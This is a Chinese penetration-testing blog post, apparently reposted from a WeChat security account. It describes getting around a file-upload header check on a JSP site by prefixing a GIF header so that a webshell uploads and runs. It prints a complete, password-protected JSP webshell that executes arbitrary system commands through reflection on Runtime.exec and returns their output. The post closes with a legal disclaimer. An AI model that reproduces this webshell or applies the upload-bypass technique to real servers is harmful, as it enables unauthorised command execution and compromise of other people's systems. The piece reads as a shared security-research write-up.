这篇文章主要是一个渗透思路问题
懒得打字了,上传的地方就大约是这个情况 ,看聊天聊天记录吧,大概就是可以上传webshell,但是报错
下班后回家做了一顿饭,亲自下厨,因为是刚搬过来,没有锅盖,直接起锅烧油,洗菜盆子一盖
吃完饭后我就打开电脑测试了一下,确实是检测文件头
没有文件头就直接200.返回包什么东西都没有,带文件头即可成功上传,并且返回上传路径
访问webshell 500,这里的500并不是冰蝎马那种500,因为我上传的是123456,本身并不应该报错
然后我换了一下JSPX 还是报错,提示空指针,不是马的问题
后来回看jsp的报错信息,仔细看发现报错原因居然是因为我们的图片马的文件头
具体是因为我们的png文件头不是UTF-8编码,但是删掉文件头又上传不上去
一直在寻找躲避这个错误的方法,后来一想,gif的文件头可以是纯UTF-8编码的,测试一下传了个马正常上传
访问一下webshell看看还报错吗,无情,直接给我来了一句网络安全为人民,网络安全靠人民
<%@ page language="java" pageEncoding="UTF-8" %>
<%
// 加入一个密码
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) {
return;
}
// 反射调用
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 类似上文做回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
还是那句话,代码是人写的,规则也是人配置的,渗透最重要的就是思路,好的思路会让你成长的更快。
原文始发于微信公众号(乌特拉安全实验室):渗透实战|JSP上传webshell报错500
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论